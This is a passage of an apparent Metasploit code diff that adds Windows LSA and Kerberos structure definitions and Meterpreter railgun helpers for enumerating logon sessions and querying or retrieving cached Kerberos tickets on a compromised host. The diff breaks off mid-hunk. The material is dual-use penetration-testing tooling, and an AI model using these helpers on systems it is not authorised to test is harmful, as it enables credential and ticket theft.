class LSA_STRING_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint64 :buffer, byte_align: 8
|
||||||
|
end
|
||||||
|
|
||||||
|
# [LSA_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_string)
|
||||||
|
class LSA_STRING_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint32 :buffer, byte_align: 4
|
||||||
|
end
|
||||||
|
|
||||||
|
# [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string)
|
||||||
|
class LSA_UNICODE_STRING_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint64 :buffer, byte_align: 8
|
||||||
|
end
|
||||||
|
|
||||||
|
# [LSA_UNICODE_STRING structure (lsalookup.h)](https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string)
|
||||||
|
class LSA_UNICODE_STRING_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint16 :len
|
||||||
|
uint16 :maximum_len
|
||||||
|
uint32 :buffer, byte_align: 4
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key)
|
||||||
|
class KERB_CRYPTO_KEY_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
int32 :key_type
|
||||||
|
uint32 :len
|
||||||
|
uint64 :val
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_CRYPTO_KEY structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_crypto_key)
|
||||||
|
class KERB_CRYPTO_KEY_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
int32 :key_type
|
||||||
|
uint32 :len
|
||||||
|
uint32 :val
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket)
|
||||||
|
class KERB_EXTERNAL_TICKET_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint64 :service_name
|
||||||
|
uint64 :target_name
|
||||||
|
uint64 :client_name
|
||||||
|
unicode_string_x64 :domain_name
|
||||||
|
unicode_string_x64 :target_domain_name
|
||||||
|
unicode_string_x64 :alt_target_domain_name
|
||||||
|
kerb_crypto_key_x64 :session_key
|
||||||
|
uint32 :ticket_flags
|
||||||
|
uint32 :flags
|
||||||
|
large_integer :key_expiration_time
|
||||||
|
large_integer :start_time
|
||||||
|
large_integer :end_time
|
||||||
|
large_integer :renew_until
|
||||||
|
large_integer :time_skew
|
||||||
|
uint32 :encoded_ticket_size
|
||||||
|
uint64 :encoded_ticket, byte_align: 8
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_EXTERNAL_TICKET](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_external_ticket)
|
||||||
|
class KERB_EXTERNAL_TICKET_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :service_name
|
||||||
|
uint32 :target_name
|
||||||
|
uint32 :client_name
|
||||||
|
unicode_string_x86 :domain_name
|
||||||
|
unicode_string_x86 :target_domain_name
|
||||||
|
unicode_string_x86 :alt_target_domain_name
|
||||||
|
kerb_crypto_key_x86 :session_key
|
||||||
|
uint32 :ticket_flags
|
||||||
|
uint32 :flags
|
||||||
|
large_integer :key_expiration_time
|
||||||
|
large_integer :start_time
|
||||||
|
large_integer :end_time
|
||||||
|
large_integer :renew_until
|
||||||
|
large_integer :time_skew
|
||||||
|
uint32 :encoded_ticket_size
|
||||||
|
uint32 :encoded_ticket, byte_align: 4
|
||||||
|
end
|
||||||
|
|
||||||
|
# https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html
|
||||||
|
class KERB_TICKET_CACHE_INFO_EX_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
lsa_unicode_string_x64 :client_name
|
||||||
|
lsa_unicode_string_x64 :client_realm
|
||||||
|
lsa_unicode_string_x64 :server_name
|
||||||
|
lsa_unicode_string_x64 :server_realm
|
||||||
|
large_integer :start_time
|
||||||
|
large_integer :end_time
|
||||||
|
large_integer :renew_time
|
||||||
|
int32 :encryption_type
|
||||||
|
uint32 :ticket_flags
|
||||||
|
end
|
||||||
|
|
||||||
|
# https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Security/Authentication/Identity/struct.KERB_TICKET_CACHE_INFO_EX.html
|
||||||
|
class KERB_TICKET_CACHE_INFO_EX_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
lsa_unicode_string_x86 :client_name
|
||||||
|
lsa_unicode_string_x86 :client_realm
|
||||||
|
lsa_unicode_string_x86 :server_name
|
||||||
|
lsa_unicode_string_x86 :server_realm
|
||||||
|
large_integer :start_time
|
||||||
|
large_integer :end_time
|
||||||
|
large_integer :renew_time
|
||||||
|
int32 :encryption_type
|
||||||
|
uint32 :ticket_flags
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_QUERY_TKT_CACHE_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_request)
|
||||||
|
class KERB_QUERY_TKT_CACHE_REQUEST < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :message_type
|
||||||
|
luid :logon_id
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response)
|
||||||
|
class KERB_QUERY_TKT_CACHE_RESPONSE_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint32 :message_type
|
||||||
|
uint32 :count_of_tickets
|
||||||
|
array :tickets, type: :kerb_ticket_cache_info_ex_x64, initial_length: :count_of_tickets
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_QUERY_TKT_CACHE_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_query_tkt_cache_response)
|
||||||
|
class KERB_QUERY_TKT_CACHE_RESPONSE_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
uint32 :message_type
|
||||||
|
uint32 :count_of_tickets
|
||||||
|
array :tickets, type: :kerb_ticket_cache_info_ex_x86, initial_length: :count_of_tickets
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request)
|
||||||
|
class KERB_RETRIEVE_TKT_REQUEST_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :message_type
|
||||||
|
luid :logon_id
|
||||||
|
lsa_unicode_string_x64 :target_name, byte_align: 8
|
||||||
|
uint32 :ticket_flags
|
||||||
|
uint32 :cache_options
|
||||||
|
int32 :encryption_type
|
||||||
|
struct :credentials_handle, byte_align: 8 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle
|
||||||
|
uint64 :dw_lower
|
||||||
|
uint64 :dw_upper
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_RETRIEVE_TKT_REQUEST structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request)
|
||||||
|
class KERB_RETRIEVE_TKT_REQUEST_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :message_type
|
||||||
|
luid :logon_id
|
||||||
|
lsa_unicode_string_x86 :target_name, byte_align: 4
|
||||||
|
uint32 :ticket_flags
|
||||||
|
uint32 :cache_options
|
||||||
|
int32 :encryption_type
|
||||||
|
struct :credentials_handle, byte_align: 4 do # SecHandle, see: https://learn.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-sechandle
|
||||||
|
uint64 :dw_lower
|
||||||
|
uint64 :dw_upper
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response)
|
||||||
|
class KERB_RETRIEVE_TKT_RESPONSE_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
kerb_external_ticket_x64 :ticket
|
||||||
|
end
|
||||||
|
|
||||||
|
# [KERB_RETRIEVE_TKT_RESPONSE structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_response)
|
||||||
|
class KERB_RETRIEVE_TKT_RESPONSE_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
|
||||||
|
kerb_external_ticket_x86 :ticket
|
||||||
|
end
|
||||||
|
|
||||||
|
# [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data)
|
||||||
|
class SECURITY_LOGON_SESSION_DATA_x64 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :len
|
||||||
|
luid :logon_id
|
||||||
|
lsa_unicode_string_x64 :user_name, byte_align: 8
|
||||||
|
lsa_unicode_string_x64 :logon_domain
|
||||||
|
lsa_unicode_string_x64 :authentication_package
|
||||||
|
uint32 :logon_type
|
||||||
|
uint32 :session
|
||||||
|
uint64 :psid
|
||||||
|
large_integer :logon_time
|
||||||
|
lsa_unicode_string_x64 :logon_server
|
||||||
|
lsa_unicode_string_x64 :dns_domain_name
|
||||||
|
lsa_unicode_string_x64 :upn
|
||||||
|
uint32 :user_flags
|
||||||
|
lsa_last_inter_logon_info :last_logon_info, byte_align: 8
|
||||||
|
lsa_unicode_string_x64 :logon_script
|
||||||
|
lsa_unicode_string_x64 :profile_path
|
||||||
|
lsa_unicode_string_x64 :home_directory
|
||||||
|
lsa_unicode_string_x64 :home_directory_drive
|
||||||
|
large_integer :logoff_time
|
||||||
|
large_integer :kick_off_time
|
||||||
|
large_integer :password_last_set
|
||||||
|
large_integer :password_can_change
|
||||||
|
large_integer :password_must_change
|
||||||
|
end
|
||||||
|
|
||||||
|
# [SECURITY_LOGON_SESSION_DATA structure (ntsecapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-security_logon_session_data)
|
||||||
|
class SECURITY_LOGON_SESSION_DATA_x86 < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
uint32 :len
|
||||||
|
luid :logon_id
|
||||||
|
lsa_unicode_string_x86 :user_name, byte_align: 4
|
||||||
|
lsa_unicode_string_x86 :logon_domain
|
||||||
|
lsa_unicode_string_x86 :authentication_package
|
||||||
|
uint32 :logon_type
|
||||||
|
uint32 :session
|
||||||
|
uint32 :psid
|
||||||
|
large_integer :logon_time
|
||||||
|
lsa_unicode_string_x86 :logon_server
|
||||||
|
lsa_unicode_string_x86 :dns_domain_name
|
||||||
|
lsa_unicode_string_x86 :upn
|
||||||
|
uint32 :user_flags
|
||||||
|
lsa_last_inter_logon_info :last_logon_info, byte_align: 4
|
||||||
|
lsa_unicode_string_x86 :logon_script
|
||||||
|
lsa_unicode_string_x86 :profile_path
|
||||||
|
lsa_unicode_string_x86 :home_directory
|
||||||
|
lsa_unicode_string_x86 :home_directory_drive
|
||||||
|
large_integer :logoff_time
|
||||||
|
large_integer :kick_off_time
|
||||||
|
large_integer :password_last_set
|
||||||
|
large_integer :password_can_change
|
||||||
|
large_integer :password_must_change
|
||||||
|
end
|
||||||
|
|
||||||
|
# [TOKEN_STATISTICS structure (winnt.h)](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics)
|
||||||
|
class TOKEN_STATISTICS < BinData::Record
|
||||||
|
endian :little
|
||||||
|
search_prefix :ms_dtyp
|
||||||
|
|
||||||
|
luid :token_id
|
||||||
|
luid :authentication_id
|
||||||
|
large_integer :expiration_time
|
||||||
|
int32 :token_type
|
||||||
|
int32 :impersonation_level
|
||||||
|
uint32 :dynamic_charged
|
||||||
|
uint32 :dynamic_available
|
||||||
|
uint32 :group_count
|
||||||
|
uint32 :privilege_count
|
||||||
|
luid :modified_id
|
||||||
|
end
|
||||||
|
|
||||||
|
LsaPointer = Struct.new(:value, :contents)
|
||||||
|
|
||||||
|
# Initialize a new LSA_STRING instance in memory.
|
||||||
|
#
|
||||||
|
# @param [String] string The string value to place in memory.
|
||||||
|
def lsa_string(string)
|
||||||
|
case session.native_arch
|
||||||
|
when ARCH_X64
|
||||||
|
klass = LSA_STRING_x64
|
||||||
|
when ARCH_X86
|
||||||
|
klass = LSA_STRING_x86
|
||||||
|
else
|
||||||
|
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
|
||||||
|
end
|
||||||
|
|
||||||
|
ptr = session.railgun.util.alloc_and_write_string(string)
|
||||||
|
return nil if ptr.nil?
|
||||||
|
|
||||||
|
klass.new(len: string.length, maximum_len: string.length + 1, buffer: ptr)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Initialize a new LSA_UNICODE_STRING instance in memory.
|
||||||
|
#
|
||||||
|
# @param [String] string The string value to place in memory.
|
||||||
|
def lsa_unicode_string(string)
|
||||||
|
case session.native_arch
|
||||||
|
when ARCH_X64
|
||||||
|
klass = LSA_UNICODE_STRING_x64
|
||||||
|
when ARCH_X86
|
||||||
|
klass = LSA_UNICODE_STRING_x86
|
||||||
|
else
|
||||||
|
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
|
||||||
|
end
|
||||||
|
|
||||||
|
ptr = session.railgun.util.alloc_and_write_string(string)
|
||||||
|
return nil if ptr.nil?
|
||||||
|
|
||||||
|
klass.new(len: string.length, maximum_len: string.length + 2, buffer: ptr)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Read an LSA_UNICODE_STRING from memory.
|
||||||
|
#
|
||||||
|
# @param [LSA_UNICODE_STRING] str The LSA_UNICODE_STRING to read from memory.
|
||||||
|
def read_lsa_unicode_string(str)
|
||||||
|
return '' if str.len == 0
|
||||||
|
|
||||||
|
# the len field is in bytes, divide by two because #read_wstring takes chars
|
||||||
|
session.railgun.util.read_wstring(str.buffer, str.len / 2)
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_call_authentication_package(handle, auth_package, submit_buffer, submit_buffer_length: nil)
|
||||||
|
if auth_package.is_a?(String)
|
||||||
|
auth_package = lsa_lookup_authentication_package(handle, auth_package)
|
||||||
|
return nil if auth_package.nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
submit_buffer = submit_buffer.to_binary_s if submit_buffer.is_a?(BinData::Struct)
|
||||||
|
if submit_buffer_length.nil?
|
||||||
|
submit_buffer_length = submit_buffer.length
|
||||||
|
end
|
||||||
|
|
||||||
|
result = session.railgun.secur32.LsaCallAuthenticationPackage(
|
||||||
|
handle,
|
||||||
|
auth_package,
|
||||||
|
submit_buffer,
|
||||||
|
submit_buffer_length,
|
||||||
|
4,
|
||||||
|
4,
|
||||||
|
4
|
||||||
|
)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to call the authentication package. LsaCallAuthenticationPackage failed with: #{status}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
unless result['ProtocolStatus'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = lsa_nt_status_to_win_error(result['ProtocolStatus'])
|
||||||
|
print_error("Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: #{status}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return nil if result['ProtocolReturnBuffer'] == 0
|
||||||
|
|
||||||
|
LsaPointer.new(result['ProtocolReturnBuffer'], session.railgun.memread(result['ProtocolReturnBuffer'], result['ReturnBufferLength']))
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_connect_untrusted
|
||||||
|
result = session.railgun.secur32.LsaConnectUntrusted(4)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to obtain a handle to LSA. LsaConnectUntrusted failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
result['LsaHandle']
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_deregister_logon_process(handle)
|
||||||
|
result = session.railgun.secur32.LsaDeregisterLogonProcess(handle)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to close the handle to LSA. LsaDeregisterLogonProcess failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_enumerate_logon_sessions
|
||||||
|
result = session.railgun.secur32.LsaEnumerateLogonSessions(4, 4)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to enumerate logon sessions. LsaEnumerateLogonSessions failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return [] if result['LogonSessionCount'] == 0
|
||||||
|
luids = BinData::Array.new(type: :ms_dtyp_luid, initial_length: result['LogonSessionCount'])
|
||||||
|
luids.read(session.railgun.memread(result['LogonSessionList'], luids.num_bytes))
|
||||||
|
session.railgun.secur32.LsaFreeReturnBuffer(result['LogonSessionList'])
|
||||||
|
luids
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_get_logon_session_data(luid)
|
||||||
|
case session.native_arch
|
||||||
|
when ARCH_X64
|
||||||
|
logon_session_data = SECURITY_LOGON_SESSION_DATA_x64.new
|
||||||
|
result = session.railgun.secur32.LsaGetLogonSessionData(luid, 8)
|
||||||
|
when ARCH_X86
|
||||||
|
logon_session_data = SECURITY_LOGON_SESSION_DATA_x86.new
|
||||||
|
result = session.railgun.secur32.LsaGetLogonSessionData(luid, 4)
|
||||||
|
else
|
||||||
|
raise NotImplementedError, "Unsupported session architecture: #{session.native_arch}"
|
||||||
|
end
|
||||||
|
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to obtain logon session data. LsaGetLogonSessionData failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
logon_session_data.read(session.railgun.memread(result['ppLogonSessionData'], logon_session_data.num_bytes))
|
||||||
|
|
||||||
|
LsaPointer.new(result['ppLogonSessionData'], logon_session_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_lookup_authentication_package(handle, package_name)
|
||||||
|
package_name = lsa_string(package_name)
|
||||||
|
return nil if package_name.nil?
|
||||||
|
|
||||||
|
result = session.railgun.secur32.LsaLookupAuthenticationPackage(handle, package_name, 4)
|
||||||
|
session.railgun.util.free_string(package_name.buffer)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to lookup the authentication package. LsaLookupAuthenticationPackage failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
result['AuthenticationPackage']
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_nt_status_to_win_error(nt_status)
|
||||||
|
::WindowsError::Win32.find_by_retval(session.railgun.advapi32.LsaNtStatusToWinError(nt_status)['return']).first
|
||||||
|
end
|
||||||
|
|
||||||
|
def lsa_register_logon_process
|
||||||
|
logon_process_name = lsa_string('Winlogon')
|
||||||
|
return nil if logon_process_name.nil?
|
||||||
|
|
||||||
|
result = session.railgun.secur32.LsaRegisterLogonProcess(logon_process_name.to_binary_s, 4, 4)
|
||||||
|
session.railgun.util.free_string(logon_process_name.buffer)
|
||||||
|
unless result['return'] == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||||
|
status = ::WindowsError::NTStatus.find_by_retval(result['return']).first
|
||||||
|
print_error("Failed to obtain a handle to LSA. LsaRegisterLogonProcess failed with: #{status.to_s}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
result['LsaHandle']
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1261,6 +1261,16 @@ class Def_windows_advapi32
|
||||||
["PBLOB","GenericMapping","in"],
|
["PBLOB","GenericMapping","in"],
|
||||||
])
|
])
|
||||||
|
|
||||||
|
dll.add_function('ConvertSidToStringSidA', 'BOOL',[
|
||||||
|
["LPVOID", "Sid", "in"],
|
||||||
|
["PLPVOID", "StringSid", "out"],
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('ConvertSidToStringSidW', 'BOOL',[
|
||||||
|
["LPVOID", "Sid", "in"],
|
||||||
|
["PLPVOID", "StringSid", "out"],
|
||||||
|
])
|
||||||
|
|
||||||
dll.add_function('ConvertStringSidToSidA', 'BOOL',[
|
dll.add_function('ConvertStringSidToSidA', 'BOOL',[
|
||||||
["PCHAR","StringSid","in"],
|
["PCHAR","StringSid","in"],
|
||||||
["PLPVOID","pSid","out"],
|
["PLPVOID","pSid","out"],
|
||||||
|
@ -1796,6 +1806,10 @@ class Def_windows_advapi32
|
||||||
["PBLOB","lpLuid","out"],
|
["PBLOB","lpLuid","out"],
|
||||||
])
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaNtStatusToWinError', 'ULONG',[
|
||||||
|
["NTSTATUS", "Status", "in"]
|
||||||
|
])
|
||||||
|
|
||||||
dll.add_function('MakeAbsoluteSD', 'BOOL',[
|
dll.add_function('MakeAbsoluteSD', 'BOOL',[
|
||||||
["PBLOB","pSelfRelativeSecurityDescriptor","in"],
|
["PBLOB","pSelfRelativeSecurityDescriptor","in"],
|
||||||
["PBLOB","pAbsoluteSecurityDescriptor","out"],
|
["PBLOB","pAbsoluteSecurityDescriptor","out"],
|
||||||
|
@ -1936,13 +1950,13 @@ class Def_windows_advapi32
|
||||||
])
|
])
|
||||||
|
|
||||||
dll.add_function('OpenProcessToken', 'BOOL',[
|
dll.add_function('OpenProcessToken', 'BOOL',[
|
||||||
["DWORD","ProcessHandle","in"],
|
["HANDLE","ProcessHandle","in"],
|
||||||
["DWORD","DesiredAccess","in"],
|
["DWORD","DesiredAccess","in"],
|
||||||
["PHANDLE","TokenHandle","out"],
|
["PHANDLE","TokenHandle","out"],
|
||||||
])
|
])
|
||||||
|
|
||||||
dll.add_function('OpenThreadToken', 'BOOL',[
|
dll.add_function('OpenThreadToken', 'BOOL',[
|
||||||
["DWORD","ThreadHandle","in"],
|
["HANDLE","ThreadHandle","in"],
|
||||||
["DWORD","DesiredAccess","in"],
|
["DWORD","DesiredAccess","in"],
|
||||||
["BOOL","OpenAsSelf","in"],
|
["BOOL","OpenAsSelf","in"],
|
||||||
["PHANDLE","TokenHandle","out"],
|
["PHANDLE","TokenHandle","out"],
|
||||||
|
|
|
@ -0,0 +1,64 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Stdapi
|
||||||
|
module Railgun
|
||||||
|
module Def
|
||||||
|
|
||||||
|
class Def_windows_secur32
|
||||||
|
|
||||||
|
def self.create_library(constant_manager, library_path = 'secur32')
|
||||||
|
dll = Library.new(library_path, constant_manager)
|
||||||
|
|
||||||
|
dll.add_function('LsaCallAuthenticationPackage', 'NTSTATUS', [
|
||||||
|
['HANDLE', 'LsaHandle', 'in'],
|
||||||
|
['ULONG', 'AuthenticationPackage', 'in'],
|
||||||
|
['PBLOB', 'ProtocolSubmitBuffer', 'in'],
|
||||||
|
['ULONG', 'SubmitBufferLength', 'in'],
|
||||||
|
['PLPVOID', 'ProtocolReturnBuffer', 'out'],
|
||||||
|
['PULONG', 'ReturnBufferLength', 'out'],
|
||||||
|
['PULONG', 'ProtocolStatus', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaConnectUntrusted', 'NTSTATUS', [
|
||||||
|
['PHANDLE', 'LsaHandle', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaDeregisterLogonProcess', 'NTSTATUS', [
|
||||||
|
['HANDLE', 'LsaHandle', 'in']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaEnumerateLogonSessions', 'NTSTATUS', [
|
||||||
|
['PULONG', 'LogonSessionCount', 'out'],
|
||||||
|
['PLPVOID', 'LogonSessionList', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaFreeReturnBuffer', 'NTSTATUS', [
|
||||||
|
['LPVOID', 'Buffer', 'in']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaGetLogonSessionData', 'NTSTATUS', [
|
||||||
|
['PBLOB', 'LogonId', 'in'],
|
||||||
|
['PLPVOID', 'ppLogonSessionData', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaLookupAuthenticationPackage', 'NTSTATUS', [
|
||||||
|
['HANDLE', 'LsaHandle', 'in'],
|
||||||
|
['PBLOB', 'PackageName', 'in'],
|
||||||
|
['PULONG', 'AuthenticationPackage', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
dll.add_function('LsaRegisterLogonProcess', 'NTSTATUS', [
|
||||||
|
['PBLOB', 'LogonProcessName', 'in'],
|
||||||
|
['PHANDLE', 'LsaHandle', 'out'],
|
||||||
|
['PULONG', 'SecurityMode', 'out']
|
||||||
|
])
|
||||||
|
|
||||||
|
return dll
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end; end; end; end; end
|
|
@ -44,15 +44,16 @@ class Library
|
||||||
include LibraryHelper
|
include LibraryHelper
|
||||||
|
|
||||||
@@datatype_map = {
|
@@datatype_map = {
|
||||||
'HANDLE' => 'LPVOID',
|
'HANDLE' => 'LPVOID',
|
||||||
# really should be PVOID* but LPVOID is handled specially with the 'L' prefix to *not* treat it as a pointer, and
|
# really should be PVOID* but LPVOID is handled specially with the 'L' prefix to *not* treat it as a pointer, and
|
||||||
# for railgun's purposes LPVOID == ULONG_PTR
|
# for railgun's purposes LPVOID == ULONG_PTR
|
||||||
'PHANDLE' => 'PULONG_PTR',
|
'PHANDLE' => 'PULONG_PTR',
|
||||||
'SIZE_T' => 'ULONG_PTR',
|
'SIZE_T' => 'ULONG_PTR',
|
||||||
'PSIZE_T' => 'PULONG_PTR',
|
'PSIZE_T' => 'PULONG_PTR',
|
||||||
'PLPVOID' => 'PULONG_PTR',
|
'PLPVOID' => 'PULONG_PTR',
|
||||||
'ULONG' => 'DWORD',
|
'ULONG' => 'DWORD',
|
||||||
'PULONG' => 'PDWORD'
|
'PULONG' => 'PDWORD',
|
||||||
|
'NTSTATUS' => 'DWORD'
|
||||||
}.freeze
|
}.freeze
|
||||||
|
|
||||||
attr_accessor :functions
|
attr_accessor :functions
|
||||||
|
@ -206,10 +207,14 @@ class Library
|
||||||
#puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})"
|
#puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})"
|
||||||
buffer = nil
|
buffer = nil
|
||||||
# is it a pointer to a buffer on our stack
|
# is it a pointer to a buffer on our stack
|
||||||
if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0]
|
if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0])
|
||||||
#puts ' pointer'
|
if ['PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0]) && param_desc[2] == 'in' && args[param_idx].is_a?(Integer)
|
||||||
if args[param_idx] == nil # null pointer?
|
# allow PWCHAR, PCHAR and PBLOB to also be passed as a pointer instead of a buffer
|
||||||
buffer = [0].pack(native) # type: DWORD (so the library does not rebase it)
|
buffer = [0].pack(native)
|
||||||
|
num = param_to_number(args[param_idx])
|
||||||
